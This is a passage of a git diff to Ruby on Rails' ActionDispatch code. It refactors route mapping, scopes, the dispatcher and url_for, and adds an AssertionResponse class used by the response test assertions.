with_scope_level(:new) do - scope(parent_resource.new_scope(action_path(:new))) do + path_scope(parent_resource.new_scope(action_path(:new))) do yield end end @@ -1424,9 +1514,15 @@ module ActionDispatch with_scope_level(:nested) do if shallow? && shallow_nesting_depth >= 1 - shallow_scope(parent_resource.nested_scope, nested_options) { yield } + shallow_scope do + path_scope(parent_resource.nested_scope) do + scope(nested_options) { yield } + end + end else - scope(parent_resource.nested_scope, nested_options) { yield } + path_scope(parent_resource.nested_scope) do + scope(nested_options) { yield } + end end end end @@ -1441,18 +1537,22 @@ module ActionDispatch end def shallow - scope(:shallow => true) do - yield - end + @scope = @scope.new(shallow: true) + yield + ensure + @scope = @scope.parent end def shallow? - parent_resource.instance_of?(Resource) && @scope[:shallow] + !parent_resource.singleton? && @scope[:shallow] end - # match 'path' => 'controller#action' - # match 'path', to: 'controller#action' - # match 'path', 'otherpath', on: :member, via: :get + # Matches a url pattern to one or more routes. + # For more information, see match[rdoc-ref:Base#match]. + # + # match 'path' => 'controller#action', via: patch + # match 'path', to: 'controller#action', via: :post + # match 'path', 'otherpath', on: :member, via: :get def match(path, *rest) if rest.empty? && Hash === path options = path @@ -1478,8 +1578,6 @@ module ActionDispatch paths = [path] + rest end - options[:anchor] = true unless options.key?(:anchor) - if options[:on] && !VALID_ON_OPTIONS.include?(options[:on]) raise ArgumentError, "Unknown scope #{on.inspect} given to :on" end @@ -1488,48 +1586,85 @@ module ActionDispatch options[:to] ||= "#{@scope[:controller]}##{@scope[:action]}" end - paths.each do |_path| + controller = options.delete(:controller) || @scope[:controller] + option_path = options.delete :path + to = options.delete :to + via = Mapping.check_via Array(options.delete(:via) { + @scope[:via] + }) + formatted = options.delete(:format) { @scope[:format] } + anchor = options.delete(:anchor) { true } + options_constraints = options.delete(:constraints) || {} + + path_types = paths.group_by(&:class) + path_types.fetch(String, []).each do |_path| route_options = options.dup - route_options[:path] ||= _path if _path.is_a?(String) + if _path && option_path + ActiveSupport::Deprecation.warn <<-eowarn +Specifying strings for both :path and the route path is deprecated. Change things like this: + + match #{_path.inspect}, :path => #{option_path.inspect} + +to this: - path_without_format = _path.to_s.sub(/\(\.:format\)$/, '') - if using_match_shorthand?(path_without_format, route_options) - route_options[:to] ||= path_without_format.gsub(%r{^/}, "").sub(%r{/([^/]*)$}, '#\1') - route_options[:to].tr!("-", "_") + match #{option_path.inspect}, :as => #{_path.inspect}, :action => #{path.inspect} + eowarn + route_options[:action] = _path + route_options[:as] = _path + _path = option_path end + to = get_to_from_path(_path, to, route_options[:action]) + decomposed_match(_path, controller, route_options, _path, to, via, formatted, anchor, options_constraints) + end - decomposed_match(_path, route_options) + path_types.fetch(Symbol, []).each do |action| + route_options = options.dup + decomposed_match(action, controller, route_options, option_path, to, via, formatted, anchor, options_constraints) end + self end - def using_match_shorthand?(path, options) - path && (options[:to] || options[:action]).nil? && path =~ %r{^/?[-\w]+/[-\w/]+$} + def get_to_from_path(path, to, action) + return to if to || action + + path_without_format = path.sub(/\(\.:format\)$/, '') + if using_match_shorthand?(path_without_format) + path_without_format.gsub(%r{^/}, "").sub(%r{/([^/]*)$}, '#\1').tr("-", "_") + else + nil + end + end + + def using_match_shorthand?(path) + path =~ %r{^/?[-\w]+/[-\w/]+$} end - def decomposed_match(path, options) # :nodoc: + def decomposed_match(path, controller, options, _path, to, via, formatted, anchor, options_constraints) # :nodoc: if on = options.delete(:on) - send(on) { decomposed_match(path, options) } + send(on) { decomposed_match(path, controller, options, _path, to, via, formatted, anchor, options_constraints) } else case @scope.scope_level when :resources - nested { decomposed_match(path, options) } + nested { decomposed_match(path, controller, options, _path, to, via, formatted, anchor, options_constraints) } when :resource - member { decomposed_match(path, options) } + member { decomposed_match(path, controller, options, _path, to, via, formatted, anchor, options_constraints) } else - add_route(path, options) + add_route(path, controller, options, _path, to, via, formatted, anchor, options_constraints) end end end - def add_route(action, options) # :nodoc: - path = path_for_action(action, options.delete(:path)) + def add_route(action, controller, options, _path, to, via, formatted, anchor, options_constraints) # :nodoc: + path = path_for_action(action, _path) raise ArgumentError, "path is required" if path.blank? - action = action.to_s.dup + action = action.to_s + + default_action = options.delete(:action) || @scope[:action] if action =~ /^[\w\-\/]+$/ - options[:action] ||= action.tr('-', '_') unless action.include?("/") + default_action ||= action.tr('-', '_') unless action.include?("/") else action = nil end @@ -1540,12 +1675,27 @@ module ActionDispatch name_for_action(options.delete(:as), action) end - mapping = Mapping.build(@scope, @set, URI.parser.escape(path), as, options) - app, conditions, requirements, defaults, as, anchor = mapping.to_route - @set.add_route(app, conditions, requirements, defaults, as, anchor) + path = Mapping.normalize_path URI.parser.escape(path), formatted + ast = Journey::Parser.parse path + + mapping = Mapping.build(@scope, @set, ast, controller, default_action, to, via, formatted, options_constraints, anchor, options) + @set.add_route(mapping, ast, as, anchor) end - def root(path, options={}) + # You can specify what Rails should route "/" to with the root method: + # + # root to: 'pages#main' + # + # For options, see +match+, as +root+ uses it internally. + # + # You can also pass a string which will expand + # + # root 'pages#main' + # + # You should put the root route at the top of <tt>config/routes.rb</tt>, + # because this means it will be matched first. As this is the most popular route + # of most Rails applications, this is beneficial. + def root(path, options = {}) if path.is_a?(String) options[:to] = path elsif path.is_a?(Hash) and options.empty? @@ -1556,12 +1706,12 @@ module ActionDispatch if @scope.resources? with_scope_level(:root) do - scope(parent_resource.path) do - super(options) + path_scope(parent_resource.path) do + match_root_route(options) end end else - super(options) + match_root_route(options) end end @@ -1601,23 +1751,20 @@ module ActionDispatch return true end - unless action_options?(options) - options.merge!(scope_action_options) if scope_action_options? - end - false end - def action_options?(options) #:nodoc: - options[:only] || options[:except] + def apply_action_options(options) # :nodoc: + return options if action_options? options + options.merge scope_action_options end - def scope_action_options? #:nodoc: - @scope[:options] && (@scope[:options][:only] || @scope[:options][:except]) + def action_options?(options) #:nodoc: + options[:only] || options[:except] end def scope_action_options #:nodoc: - @scope[:options].slice(:only, :except) + @scope[:action_options] || {} end def resource_scope? #:nodoc: @@ -1632,18 +1779,6 @@ module ActionDispatch @scope.nested? end - def with_exclusive_scope - begin - @scope = @scope.new(:as => nil, :path => nil) - - with_scope_level(:exclusive) do - yield - end - ensure - @scope = @scope.parent - end - end - def with_scope_level(kind) @scope = @scope.new_level(kind) yield @@ -1651,16 +1786,11 @@ module ActionDispatch @scope = @scope.parent end - def resource_scope(kind, resource) #:nodoc: - resource.shallow = @scope[:shallow] + def resource_scope(resource) #:nodoc: @scope = @scope.new(:scope_level_resource => resource) - @nesting.push(resource) - with_scope_level(kind) do - scope(parent_resource.resource_scope) { yield } - end + controller(resource.resource_scope) { yield } ensure - @nesting.pop @scope = @scope.parent end @@ -1673,12 +1803,10 @@ module ActionDispatch options end - def nesting_depth #:nodoc: - @nesting.size - end - def shallow_nesting_depth #:nodoc: - @nesting.select(&:shallow?).size + @scope.find_all { |node| + node.frame[:scope_level_resource] + }.count { |node| node.frame[:scope_level_resource].shallow? } end def param_constraint? #:nodoc: @@ -1693,27 +1821,28 @@ module ActionDispatch resource_method_scope? && CANONICAL_ACTIONS.include?(action.to_s) end - def shallow_scope(path, options = {}) #:nodoc: + def shallow_scope #:nodoc: scope = { :as => @scope[:shallow_prefix], :path => @scope[:shallow_path] } @scope = @scope.new scope - scope(path, options) { yield } + yield ensure @scope = @scope.parent end def path_for_action(action, path) #:nodoc: - if path.blank? && canonical_action?(action) + return "#{@scope[:path]}/#{path}" if path + + if canonical_action?(action) @scope[:path].to_s else - "#{@scope[:path]}/#{action_path(action, path)}" + "#{@scope[:path]}/#{action_path(action)}" end end - def action_path(name, path = nil) #:nodoc: - name = name.to_sym if name.is_a?(String) - path || @scope[:path_names][name] || name.to_s + def action_path(name) #:nodoc: + @scope[:path_names][name.to_sym] || name end def prefix_name_for_action(as, action) #:nodoc: @@ -1747,7 +1876,7 @@ module ActionDispatch # and return nil in case it isn't. Otherwise, we pass the invalid name # forward so the underlying router engine treats it and raises an exception. if as.nil? - candidate unless candidate !~ /\A[_a-z]/i || @set.named_routes.key?(candidate) + candidate unless candidate !~ /\A[_a-z]/i || has_named_route?(candidate) else candidate end @@ -1765,6 +1894,23 @@ module ActionDispatch delete :destroy if parent_resource.actions.include?(:destroy) end end + + def api_only? + @set.api_only? + end + private + + def path_scope(path) + @scope = @scope.new(path: merge_path_scope(@scope[:path], path)) + yield + ensure + @scope = @scope.parent + end + + def match_root_route(options) + name = has_named_route?(:root) ? nil : :root + match '/', { :as => name, :via => :get }.merge!(options) + end end # Routing Concerns allow you to declare common routes that can be reused @@ -1875,14 +2021,14 @@ module ActionDispatch class Scope # :nodoc: OPTIONS = [:path, :shallow_path, :as, :shallow_prefix, :module, :controller, :action, :path_names, :constraints, - :shallow, :blocks, :defaults, :options] + :shallow, :blocks, :defaults, :via, :format, :options] RESOURCE_SCOPES = [:resource, :resources] RESOURCE_METHOD_SCOPES = [:collection, :member, :new] attr_reader :parent, :scope_level - def initialize(hash, parent = {}, scope_level = nil) + def initialize(hash, parent = NULL, scope_level = nil) @hash = hash @parent = parent @scope_level = scope_level @@ -1930,27 +2076,33 @@ module ActionDispatch end def new_level(level) - self.class.new(self, self, level) - end - - def fetch(key, &block) - @hash.fetch(key, &block) + self.class.new(frame, self, level) end def [](key) - @hash.fetch(key) { @parent[key] } + scope = find { |node| node.frame.key? key } + scope && scope.frame[key] end - def []=(k,v) - @hash[k] = v + include Enumerable + + def each + node = self + until node.equal? NULL + yield node + node = node.parent + end end + + def frame; @hash; end + + NULL = Scope.new(nil, nil) end def initialize(set) #:nodoc: @set = set @scope = Scope.new({ :path_names => @set.resources_path_names }) @concerns = {} - @nesting = [] end include Base diff --git a/actionpack/lib/action_dispatch/routing/redirection.rb b/actionpack/lib/action_dispatch/routing/redirection.rb index 3c1c4fadf6..d6987f4d09 100644 --- a/actionpack/lib/action_dispatch/routing/redirection.rb +++ b/actionpack/lib/action_dispatch/routing/redirection.rb @@ -24,7 +24,7 @@ module ActionDispatch def serve(req) req.check_path_parameters! uri = URI.parse(path(req.path_parameters, req)) - + unless uri.host if relative_path?(uri.path) uri.path = "#{req.script_name}/#{uri.path}" @@ -32,7 +32,7 @@ module ActionDispatch uri.path = req.script_name.empty? ? "/" : req.script_name end end - + uri.scheme ||= req.scheme uri.host ||= req.host uri.port ||= req.port unless req.standard_port? @@ -124,7 +124,7 @@ module ActionDispatch url_options[:script_name] = request.script_name end end - + ActionDispatch::Http::URL.url_for url_options end diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb index 0f3734dd74..ed7130b58e 100644 --- a/actionpack/lib/action_dispatch/routing/route_set.rb +++ b/actionpack/lib/action_dispatch/routing/route_set.rb @@ -1,6 +1,4 @@ require 'action_dispatch/journey' -require 'forwardable' -require 'thread_safe' require 'active_support/concern' require 'active_support/core_ext/object/to_query' require 'active_support/core_ext/hash/slice' @@ -21,65 +19,47 @@ module ActionDispatch alias inspect to_s class Dispatcher < Routing::Endpoint - def initialize(defaults) - @defaults = defaults - @controller_class_names = ThreadSafe::Cache.new + def initialize(raise_on_name_error) + @raise_on_name_error = raise_on_name_error end def dispatcher?; true; end def serve(req) - req.check_path_parameters! - params = req.path_parameters - - prepare_params!(params) - - # Just raise undefined constant errors if a controller was specified as default. - unless controller = controller(params, @defaults.key?(:controller)) + params = req.path_parameters + controller = controller req + res = controller.make_response! req + dispatch(controller, params[:action], req, res) + rescue ActionController::RoutingError + if @raise_on_name_error + raise + else return [404, {'X-Cascade' => 'pass'}, []] end - - dispatch(controller, params[:action], req.env) end - def prepare_params!(params) - normalize_controller!(params) - merge_default_action!(params) - end + private - # If this is a default_controller (i.e. a controller specified by the user) - # we should raise an error in case it's not found, because it usually means - # a user error. However, if the controller was retrieved through a dynamic - # segment, as in :controller(/:action), we should simply return nil and - # delegate the control back to Rack cascade. Besides, if this is not a default - # controller, it means we should respect the @scope[:module] parameter. - def controller(params, default_controller=true) - if params && params.key?(:controller) - controller_param = params[:controller] - controller_reference(controller_param) - end + def controller(req) + req.controller_class rescue NameError => e - raise ActionController::RoutingError, e.message, e.backtrace if default_controller + raise ActionController::RoutingError, e.message, e.backtrace end - private - - def controller_reference(controller_param) - const_name = @controller_class_names[controller_param] ||= "#{controller_param.camelize}Controller" - ActiveSupport::Dependencies.constantize(const_name) + def dispatch(controller, action, req, res) + controller.dispatch(action, req, res) end + end - def dispatch(controller, action, env) - controller.action(action).call(env) + class StaticDispatcher < Dispatcher + def initialize(controller_class) + super(false) + @controller_class = controller_class end - def normalize_controller!(params) - params[:controller] = params[:controller].underscore if params.key?(:controller) - end + private - def merge_default_action!(params) - params[:action] ||= 'index' - end + def controller(_); @controller_class; end end # A NamedRouteCollection instance is a collection of named routes, and also @@ -88,6 +68,7 @@ module ActionDispatch class NamedRouteCollection include Enumerable attr_reader :routes, :url_helpers_module, :path_helpers_module + private :routes def initialize @routes = {} @@ -142,6 +123,7 @@ module ActionDispatch end def key?(name) + return unless name routes.key? name.to_sym end @@ -199,9 +181,9 @@ module ActionDispatch private def optimized_helper(args) - params = parameterize_args(args) { |k| + params = parameterize_args(args) do raise_generation_error(args) - } + end @route.format params end @@ -226,7 +208,7 @@ module ActionDispatch params = parameterize_args(args) { |missing_key| missing_keys << missing_key } - constraints = Hash[@route.requirements.merge(params).sort] + constraints = Hash[@route.requirements.merge(params).sort_by{|k,v| k.to_s}] message = "No route matches #{constraints.inspect}" message << " missing required keys: #{missing_keys.sort.inspect}" @@ -267,9 +249,13 @@ module ActionDispatch path_params -= controller_options.keys path_params -= result.keys end - path_params -= inner_options.keys - path_params.take(args.size).each do |param| - result[param] = args.shift + inner_options.each_key do |key| + path_params.delete(key) + end + + args.each_with_index do |arg, index| + param = path_params[index] + result[param] = arg if param end end @@ -295,8 +281,17 @@ module ActionDispatch helper = UrlHelper.create(route, opts, route_key, url_strategy) mod.module_eval do define_method(name) do |*args| - options = nil - options = args.pop if args.last.is_a? Hash + last = args.last + options = case last + when Hash + args.pop + when ActionController::Parameters + if last.permitted? + args.pop.to_h + else + raise ArgumentError, ActionDispatch::Routing::INSECURE_URL_PARAMETERS_MESSAGE + end + end helper.call self, args, options end end @@ -319,17 +314,23 @@ module ActionDispatch end def self.new_with_config(config) + route_set_config = DEFAULT_CONFIG + + # engines apparently don't have this set if config.respond_to? :relative_url_root - new Config.new config.relative_url_root - else - # engines apparently don't have this set - new + route_set_config.relative_url_root = config.relative_url_root end + + if config.respond_to? :api_only + route_set_config.api_only = config.api_only + end + + new route_set_config end - Config = Struct.new :relative_url_root + Config = Struct.new :relative_url_root, :api_only - DEFAULT_CONFIG = Config.new(nil) + DEFAULT_CONFIG = Config.new(nil, false) def initialize(config = DEFAULT_CONFIG) self.named_routes = NamedRouteCollection.new @@ -345,17 +346,26 @@ module ActionDispatch @set = Journey::Routes.new @router = Journey::Router.new @set - @formatter = Journey::Formatter.new @set + @formatter = Journey::Formatter.new self end def relative_url_root @config.relative_url_root end + def api_only? + @config.api_only + end + def request_class ActionDispatch::Request end + def make_request(env) + request_class.new env + end + private :make_request + def draw(&block) clear! unless @disable_clear_and_finalize eval_block(block) @@ -372,10 +382,6 @@ module ActionDispatch end def eval_block(block) - if block.arity == 1 - raise "You are using the old router DSL which has been removed in Rails 3.1. " << - "Please check how to update your routes file at: http://www.engineyard.com/blog/2010/the-lowdown-on-routes-in-rails-3/" - end mapper = Mapper.new(self) if default_scope mapper.with_default_scope(default_scope, &block) @@ -399,10 +405,6 @@ module ActionDispatch @prepend.each { |blk| eval_block(blk) } end - def dispatcher(defaults) - Routing::RouteSet::Dispatcher.new(defaults) - end - module MountedHelpers extend ActiveSupport::Concern include UrlFor @@ -498,7 +500,7 @@ module ActionDispatch routes.empty? end - def add_route(app, conditions = {}, requirements = {}, defaults = {}, name = nil, anchor = true) + def add_route(mapping, path_ast, name, anchor) raise ArgumentError, "Invalid route name: '#{name}'" unless name.blank? || name.to_s.match(/^[_a-z]\w*$/i) if name && named_routes[name] @@ -509,74 +511,32 @@ module ActionDispatch "http://guides.rubyonrails.org/routing.html#restricting-the-routes-created" end - path = conditions.delete :path_info - ast = conditions.delete :parsed_path_info - path = build_path(path, ast, requirements, anchor) - conditions = build_conditions(conditions, path.names.map(&:to_sym)) - - route = @set.add_route(app, path, conditions, defaults, name) + route = @set.add_route(name, mapping) named_routes[name] = route if name - route - end - - def build_path(path, ast, requirements, anchor) - strexp = Journey::Router::Strexp.new( - ast, - path, - requirements, - SEPARATORS, - anchor) - - pattern = Journey::Path::Pattern.new(strexp) - - builder = Journey::GTG::Builder.new pattern.spec - # Get all the symbol nodes followed by literals that are not the - # dummy node. - symbols = pattern.spec.grep(Journey::Nodes::Symbol).find_all { |n| - builder.followpos(n).first.literal? - } - - # Get all the symbol nodes preceded by literals. - symbols.concat pattern.spec.find_all(&:literal?).map { |n| - builder.followpos(n).first - }.find_all(&:symbol?) - - symbols.each { |x| - x.regexp = /(?:#{Regexp.union(x.regexp, '-')})+/ - } - - pattern - end - private :build_path - - def build_conditions(current_conditions, path_values) - conditions = current_conditions.dup - - # Rack-Mount requires that :request_method be a regular expression. - # :request_method represents the HTTP verb that matches this route. - # - # Here we munge values before they get sent on to rack-mount. - verbs = conditions[:request_method] || [] - unless verbs.empty? - conditions[:request_method] = %r[^#{verbs.join('|')}$] + if route.segment_keys.include?(:controller) + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Using a dynamic :controller segment in a route is deprecated and + will be removed in Rails 5.1. + MSG end - conditions.keep_if do |k, _| - k == :action || k == :controller || k == :required_defaults || - request_class.public_method_defined?(k) || path_values.include?(k) + if route.segment_keys.include?(:action) + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Using a dynamic :action segment in a route is deprecated and + will be removed in Rails 5.1. + MSG end + + route end - private :build_conditions class Generator PARAMETERIZE = lambda do |name, value| if name == :controller value - elsif value.is_a?(Array) - value.map(&:to_param).join('/') - elsif param = value.to_param - param + else + value.to_param end end @@ -584,16 +544,14 @@ module ActionDispatch def initialize(named_route, options, recall, set) @named_route = named_route - @options = options.dup - @recall = recall.dup + @options = options + @recall = recall @set = set - normalize_recall! normalize_options! normalize_controller_action_id! use_relative_controller! normalize_controller! - normalize_action! end def controller @@ -607,16 +565,11 @@ module ActionDispatch def use_recall_for(key) if @recall[key] && (!@options.key?(key) || @options[key] == @recall[key]) if !named_route_exists? || segment_keys.include?(key) - @options[key] = @recall.delete(key) + @options[key] = @recall[key] end end end - # Set 'index' as default action for recall - def normalize_recall! - @recall[:action] ||= 'index' - end - def normalize_options! # If an explicit :controller was given, always make :action explicit # too, so that action expiry works as expected for things like @@ -661,13 +614,12 @@ module ActionDispatch # Remove leading slashes from controllers def normalize_controller! - @options[:controller] = controller.sub(%r{^/}, '') if controller - end - - # Move 'index' action from options to recall - def normalize_action! - if @options[:action] == 'index' - @recall[:action] = @options.delete(:action) + if controller + if controller.start_with?("/".freeze) + @options[:controller] = controller[1..-1] + else + @options[:controller] = controller + end end end @@ -711,14 +663,18 @@ module ActionDispatch RESERVED_OPTIONS = [:host, :protocol, :port, :subdomain, :domain, :tld_length, :trailing_slash, :anchor, :params, :only_path, :script_name, - :original_script_name] + :original_script_name, :relative_url_root] def optimize_routes_generation? default_url_options.empty? end def find_script_name(options) - options.delete(:script_name) || relative_url_root || '' + options.delete(:script_name) || find_relative_url_root(options) || '' + end + + def find_relative_url_root(options) + options.delete(:relative_url_root) || relative_url_root end def path_for(options, route_name = nil) @@ -764,7 +720,7 @@ module ActionDispatch end def call(env) - req = request_class.new(env) + req = make_request(env) req.path_info = Journey::Router::Utils.normalize_path(req.path_info) @router.serve(req) end @@ -780,7 +736,7 @@ module ActionDispatch raise ActionController::RoutingError, e.message end - req = request_class.new(env) + req = make_request(env) @router.recognize(req) do |route, params| params.merge!(extras) params.each do |key, value| @@ -793,14 +749,13 @@ module ActionDispatch req.path_parameters = old_params.merge params app = route.app if app.matches?(req) && app.dispatcher? - dispatcher = app.app - - if dispatcher.controller(params, false) - dispatcher.prepare_params!(params) - return params - else + begin + req.controller_class + rescue NameError raise ActionController::RoutingError, "A route matches #{path.inspect}, but references missing controller: #{params[:controller].camelize}Controller" end + + return req.path_parameters end end diff --git a/actionpack/lib/action_dispatch/routing/url_for.rb b/actionpack/lib/action_dispatch/routing/url_for.rb index eb554ec383..5ee138e6c6 100644 --- a/actionpack/lib/action_dispatch/routing/url_for.rb +++ b/actionpack/lib/action_dispatch/routing/url_for.rb @@ -1,7 +1,7 @@ module ActionDispatch module Routing # In <tt>config/routes.rb</tt> you define URL-to-controller mappings, but the reverse - # is also possible: an URL can be generated from one of your routing definitions. + # is also possible: a URL can be generated from one of your routing definitions. # URL generation functionality is centralized in this module. # # See ActionDispatch::Routing for general information about routing and routes.rb. @@ -52,9 +52,11 @@ module ActionDispatch # argument. # # For convenience reasons, mailers provide a shortcut for ActionController::UrlFor#url_for. - # So within mailers, you only have to type 'url_for' instead of 'ActionController::UrlFor#url_for' - # in full. However, mailers don't have hostname information, and that's why you'll still - # have to specify the <tt>:host</tt> argument when generating URLs in mailers. + # So within mailers, you only have to type +url_for+ instead of 'ActionController::UrlFor#url_for' + # in full. However, mailers don't have hostname information, and you still have to provide + # the +:host+ argument or set the default host that will be used in all mailers using the + # configuration option +config.action_mailer.default_url_options+. For more information on + # url_for in mailers read the ActionMailer#Base documentation. # # # == URL generation for named routes @@ -147,6 +149,20 @@ module ActionDispatch # # => 'http://somehost.org/myapp/tasks/testing' # url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp", only_path: true # # => '/myapp/tasks/testing' + # + # Missing routes keys may be filled in from the current request's parameters + # (e.g. +:controller+, +:action+, +:id+ and any other parameters that are + # placed in the path). Given that the current action has been reached + # through `GET /users/1`: + # + # url_for(only_path: true) # => '/users/1' + # url_for(only_path: true, action: 'edit') # => '/users/1/edit' + # url_for(only_path: true, action: 'edit', id: 2) # => '/users/2/edit' + # + # Notice that no +:id+ parameter was provided to the first +url_for+ call + # and the helper used the one from the route's path. Any path parameter + # implicitly used by +url_for+ can always be overwritten like shown on the + # last +url_for+ calls. def url_for(options = nil) case options when nil @@ -155,12 +171,20 @@ module ActionDispatch route_name = options.delete :use_route _routes.url_for(options.symbolize_keys.reverse_merge!(url_options), route_name) + when ActionController::Parameters + unless options.permitted? + raise ArgumentError.new(ActionDispatch::Routing::INSECURE_URL_PARAMETERS_MESSAGE) + end + route_name = options.delete :use_route + _routes.url_for(options.to_h.symbolize_keys. + reverse_merge!(url_options), route_name) when String options when Symbol HelperMethodBuilder.url.handle_string_call self, options when Array - polymorphic_url(options, options.extract_options!) + components = options.dup + polymorphic_url(components, components.extract_options!) when Class HelperMethodBuilder.url.handle_class_call self, options else diff --git a/actionpack/lib/action_dispatch/testing/assertion_response.rb b/actionpack/lib/action_dispatch/testing/assertion_response.rb new file mode 100644 index 0000000000..3fb81ff083 --- /dev/null +++ b/actionpack/lib/action_dispatch/testing/assertion_response.rb @@ -0,0 +1,49 @@ +module ActionDispatch + # This is a class that abstracts away an asserted response. + # It purposely does not inherit from Response, because it doesn't need it. + # That means it does not have headers or a body. + # + # As an input to the initializer, we take a Fixnum, a String, or a Symbol. + # If it's a Fixnum or String, we figure out what its symbolized name. + # If it's a Symbol, we figure out what its corresponding code is. + # The resulting code will be a Fixnum, for real HTTP codes, and it will + # be a String for the pseudo-HTTP codes, such as: + # :success, :missing, :redirect and :error + class AssertionResponse + attr_reader :code, :name + + GENERIC_RESPONSE_CODES = { # :nodoc: + success: "2XX", + missing: "404", + redirect: "3XX", + error: "5XX" + } + + def initialize(code_or_name) + if code_or_name.is_a?(Symbol) + @name = code_or_name + @code = code_from_name(code_or_name) + else + @name = name_from_code(code_or_name) + @code = code_or_name + end + + raise ArgumentError, "Invalid response name: #{name}" if @code.nil? + raise ArgumentError, "Invalid response code: #{code}" if @name.nil? + end + + def code_and_name + "#{code}: #{name}" + end + + private + + def code_from_name(name) + GENERIC_RESPONSE_CODES[name] || Rack::Utils::SYMBOL_TO_STATUS_CODE[name] + end + + def name_from_code(code) + GENERIC_RESPONSE_CODES.invert[code] || Rack::Utils::HTTP_STATUS_CODES[code] + end + end +end diff --git a/actionpack/lib/action_dispatch/testing/assertions.rb b/actionpack/lib/action_dispatch/testing/assertions.rb index 21b3b89d22..fae266273e 100644 --- a/actionpack/lib/action_dispatch/testing/assertions.rb +++ b/actionpack/lib/action_dispatch/testing/assertions.rb @@ -12,7 +12,7 @@ module ActionDispatch include Rails::Dom::Testing::Assertions def html_document - @html_document ||= if @response.content_type === Mime::XML + @html_document ||= if @response.content_type.to_s =~ /xml\z/ Nokogiri::XML::Document.parse(@response.body) else Nokogiri::HTML::Document.parse(@response.body) diff --git a/actionpack/lib/action_dispatch/testing/assertions/response.rb b/actionpack/lib/action_dispatch/testing/assertions/response.rb index 13a72220b3..cd55b7d975 100644 --- a/actionpack/lib/action_dispatch/testing/assertions/response.rb +++ b/actionpack/lib/action_dispatch/testing/assertions/response.rb @@ -1,8 +1,14 @@ - module ActionDispatch module Assertions # A small suite of assertions that test responses from \Rails applications. module ResponseAssertions + RESPONSE_PREDICATES = { # :nodoc: + success: :successful?, + missing: :not_found?, + redirect: :redirection?, + error: :server_error?, + } + # Asserts that the response is one of the following types: # # * <tt>:success</tt> - Status code was in the 200-299 range @@ -14,43 +20,35 @@ module ActionDispatch # or its symbolic equivalent <tt>assert_response(:not_implemented)</tt>. # See Rack::Utils::SYMBOL_TO_STATUS_CODE for a full list. # - # # assert that the response was a redirection + # # Asserts that the response was a redirection # assert_response :redirect # - # # assert that the response code was status code 401 (unauthorized) + # # Asserts that the response code was status code 401 (unauthorized) # assert_response 401 def assert_response(type, message = nil) - message ||= "Expected response to be a <#{type}>, but was <#{@response.response_code}>" + message ||= generate_response_message(type) - if Symbol === type - if [:success, :missing, :redirect, :error].include?(type) - assert @response.send("#{type}?"), message - else - code = Rack::Utils::SYMBOL_TO_STATUS_CODE[type] - if code.nil? - raise ArgumentError, "Invalid response type :#{type}" - end - assert_equal code, @response.response_code, message - end + if RESPONSE_PREDICATES.keys.include?(type) + assert @response.send(RESPONSE_PREDICATES[type]), message else - assert_equal type, @response.response_code, message + assert_equal AssertionResponse.new(type).code, @response.response_code, message end end - # Assert that the redirection options passed in match those of the redirect called in the latest action. + # Asserts that the redirection options passed in match those of the redirect called in the latest action. # This match can be partial, such that <tt>assert_redirected_to(controller: "weblog")</tt> will also # match the redirection of <tt>redirect_to(controller: "weblog", action: "show")</tt> and so on. # - # # assert that the redirection was to the "index" action on the WeblogController + # # Asserts that the redirection was to the "index" action on the WeblogController # assert_redirected_to controller: "weblog", action: "index" # - # # assert that the redirection was to the named route login_url + # # Asserts that the redirection was to the named route login_url # assert_redirected_to login_url # - # # assert that the redirection was to the url for @customer + # # Asserts that the redirection was to the url for @customer # assert_redirected_to @customer # - # # asserts that the redirection matches the regular expression + # # Asserts that the redirection matches the regular expression # assert_redirected_to %r(\Ahttp://example.org) def assert_redirected_to(options = {}, message=nil) assert_response(:redirect, message) @@ -77,6 +75,26 @@ module ActionDispatch handle._compute_redirect_to_location(@request, fragment) end end + + def generate_response_message(expected, actual = @response.response_code) + "Expected response to be a <#{code_with_name(expected)}>,"\ + " but was a <#{code_with_name(actual)}>" + .concat location_if_redirected + end + + def location_if_redirected + return '' unless @response.redirection? && @response.location.present? + location = normalize_argument_to_redirection(@response.location) + " redirect to <#{location}>" + end + + def code_with_name(code_or_name) + if RESPONSE_PREDICATES.values.include?("#{code_or_name}?".to_sym) + code_or_name = RESPONSE_PREDICATES.invert["#{code_or_name}?".to_sym] + end + + AssertionResponse.new(code_or_name).code_and_name + end end end end diff --git a/actionpack/lib/action_dispatch/testing/assertions/routing.rb b/actionpack/lib/action_dispatch/testing/assertions/routing.rb index c94eea9134..44ad2c10d8 100644 --- a/actionpack/lib/action_dispatch/testing/assertions/routing.rb +++ b/actionpack/lib/action_dispatch/testing/assertions/routing.rb @@ -14,14 +14,14 @@ module ActionDispatch # requiring a specific HTTP method. The hash should contain a :path with the incoming request path # and a :method containing the required HTTP verb. # - # # assert that POSTing to /items will call the create action on ItemsController + # # Asserts that POSTing to /items will call the create action on ItemsController # assert_recognizes({controller: 'items', action: 'create'}, {path: 'items', method: :post}) # # You can also pass in +extras+ with a hash containing URL parameters that would normally be in the query string. This can be used - # to assert that values in the query string string will end up in the params hash correctly. To test query strings you must use the + # to assert that values in the query string will end up in the params hash correctly. To test query strings you must use the # extras argument, appending the query string on the path directly will not work. For example: # - # # assert that a path of '/items/list/1?view=print' returns the correct options + # # Asserts that a path of '/items/list/1?view=print' returns the correct options # assert_recognizes({controller: 'items', action: 'list', id: '1', view: 'print'}, 'items/list/1', { view: "print" }) # # The +message+ parameter allows you to pass in an error message that is displayed upon failure. @@ -86,8 +86,9 @@ module ActionDispatch end # Load routes.rb if it hasn't been loaded. - generated_path, extra_keys = @routes.generate_extras(options, defaults) - found_extras = options.reject { |k, _| ! extra_keys.include? k } + options = options.clone + generated_path, query_string_keys = @routes.generate_extras(options, defaults) + found_extras = options.reject { |k, _| ! query_string_keys.include? k } msg = message || sprintf("found extras <%s>, not <%s>", found_extras, extras) assert_equal(extras, found_extras, msg) @@ -104,19 +105,19 @@ module ActionDispatch # The +extras+ hash allows you to specify options that would normally be provided as a query string to the action. The # +message+ parameter allows you to specify a custom error message to display upon failure. # - # # Assert a basic route: a controller with the default action (index) + # # Asserts a basic route: a controller with the default action (index) # assert_routing '/home', controller: 'home', action: 'index' # # # Test a route generated with a specific controller, action, and parameter (id) # assert_routing '/entries/show/23', controller: 'entries', action: 'show', id: 23 # - # # Assert a basic route (controller + default action), with an error message if it fails + # # Asserts a basic route 